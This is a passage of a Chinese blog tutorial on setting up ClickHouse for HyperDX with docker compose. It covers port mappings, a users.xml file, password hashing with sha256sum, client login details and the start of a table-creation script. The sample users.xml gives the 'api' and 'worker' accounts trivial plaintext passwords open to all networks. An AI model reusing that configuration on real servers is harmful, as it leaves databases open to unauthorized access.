&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# WARNING: Exposing the database port will make it accessible from outside the container,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# potentially allowing unauthorized access. If you uncomment the ports below,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# ensure to secure your database (e.g., with strong authentication, proper network rules, and firewalls).&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="m"&gt;8123&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;8123&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# http api&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;85&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="m"&gt;9050&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;9000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# native&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;86&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# environment:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# default settings&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# CLICKHOUSE_DEFAULT_ACCESS_MANAGEMENT: 1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./docker/clickhouse/local/config.xml:/etc/clickhouse-server/config.xml&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./docker/clickhouse/local/users.xml:/etc/clickhouse-server/users.xml&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;92&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./empty.xml:/etc/clickhouse-server/users.d/default-password.xml&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;.volumes/ch_data:/var/lib/clickhouse&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;.volumes/ch_logs:/var/log/clickhouse-server&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;95&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;restart&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;on&lt;/span&gt;-&lt;span class="l"&gt;failure&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;96&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;networks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;97&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;internal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;98&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;networks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;99&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;internal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意：environment 部分我注释掉了，另外 加了一行：&lt;code&gt;./empty.xml:/etc/clickhouse-server/users.d/default-password.xml&lt;/code&gt; 作用是解决 clickhouse 连接异常的问题。&lt;/p&gt;
&lt;p&gt;通过 &lt;code&gt;/data/clickhouse/hyperdx/docker/clickhouse/local/users.xml&lt;/code&gt; 可以看到 clickhouse 的账户信息：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;clickhouse&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;profiles&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;default&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;max_memory_usage&amp;gt;&lt;/span&gt;10000000000&lt;span class="nt"&gt;&amp;lt;/max_memory_usage&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;use_uncompressed_cache&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/use_uncompressed_cache&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;load_balancing&amp;gt;&lt;/span&gt;in_order&lt;span class="nt"&gt;&amp;lt;/load_balancing&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;log_queries&amp;gt;&lt;/span&gt;1&lt;span class="nt"&gt;&amp;lt;/log_queries&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/default&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/profiles&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;users&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;default&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;password_sha256_hex&amp;gt;&lt;/span&gt;2d964690ad5ac2d2f78bebadc30895bc519969ffcef4d3c9e7ff04ee1c765d96&lt;span class="nt"&gt;&amp;lt;/password_sha256_hex&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;profile&amp;gt;&lt;/span&gt;default&lt;span class="nt"&gt;&amp;lt;/profile&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;networks&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;ip&amp;gt;&lt;/span&gt;::/0&lt;span class="nt"&gt;&amp;lt;/ip&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/networks&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;quota&amp;gt;&lt;/span&gt;default&lt;span class="nt"&gt;&amp;lt;/quota&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/default&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;api&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;password&amp;gt;&lt;/span&gt;api&lt;span class="nt"&gt;&amp;lt;/password&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;profile&amp;gt;&lt;/span&gt;default&lt;span class="nt"&gt;&amp;lt;/profile&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;networks&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;ip&amp;gt;&lt;/span&gt;::/0&lt;span class="nt"&gt;&amp;lt;/ip&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/networks&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;quota&amp;gt;&lt;/span&gt;default&lt;span class="nt"&gt;&amp;lt;/quota&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/api&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;worker&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;password&amp;gt;&lt;/span&gt;worker&lt;span class="nt"&gt;&amp;lt;/password&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;profile&amp;gt;&lt;/span&gt;default&lt;span class="nt"&gt;&amp;lt;/profile&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;networks&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;ip&amp;gt;&lt;/span&gt;::/0&lt;span class="nt"&gt;&amp;lt;/ip&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/networks&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;quota&amp;gt;&lt;/span&gt;default&lt;span class="nt"&gt;&amp;lt;/quota&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/worker&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/users&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;quotas&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;default&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;interval&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;duration&amp;gt;&lt;/span&gt;3600&lt;span class="nt"&gt;&amp;lt;/duration&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;queries&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/queries&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;errors&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/errors&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;result_rows&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/result_rows&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;read_rows&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/read_rows&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;execution_time&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/execution_time&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/interval&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/default&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/quotas&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/clickhouse&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;密码用 sha256sum 处理过&lt;/p&gt;
&lt;p&gt;可以这样生成：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;echo -n &amp;#39;你的密码&amp;#39; | sha256sum
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="运行"&gt;&lt;a href="#%e8%bf%90%e8%a1%8c" class="header-anchor"&gt;&lt;/a&gt;运行
&lt;/h2&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-07-17-kuai-su-an-zhuang-clickhouse/001-1d333d30.png"&gt;点击登录跳转至首页&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-07-17-kuai-su-an-zhuang-clickhouse/002-f8c34343.png"&gt;&lt;/p&gt;
&lt;h2 id="客户端连接"&gt;&lt;a href="#%e5%ae%a2%e6%88%b7%e7%ab%af%e8%bf%9e%e6%8e%a5" class="header-anchor"&gt;&lt;/a&gt;客户端连接
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;用户名：default&lt;/li&gt;
&lt;li&gt;密码： 你的密码&lt;/li&gt;
&lt;li&gt;端口：8123&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-07-17-kuai-su-an-zhuang-clickhouse/003-39f76698.png"&gt;&lt;/p&gt;
&lt;h2 id="数据库初始化"&gt;&lt;a href="#%e6%95%b0%e6%8d%ae%e5%ba%93%e5%88%9d%e5%a7%8b%e5%8c%96" class="header-anchor"&gt;&lt;/a&gt;数据库初始化
&lt;/h2&gt;&lt;p&gt;初始化 sql 脚本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 1. 创建数据库（如已存在可先 DROP DATABASE IF EXISTS testdb） */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;DATABASE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EXISTS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 2. 维度表：用户 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EXISTS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signup_date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MergeTree&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;ORDER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 3. 维度表：页面 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EXISTS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
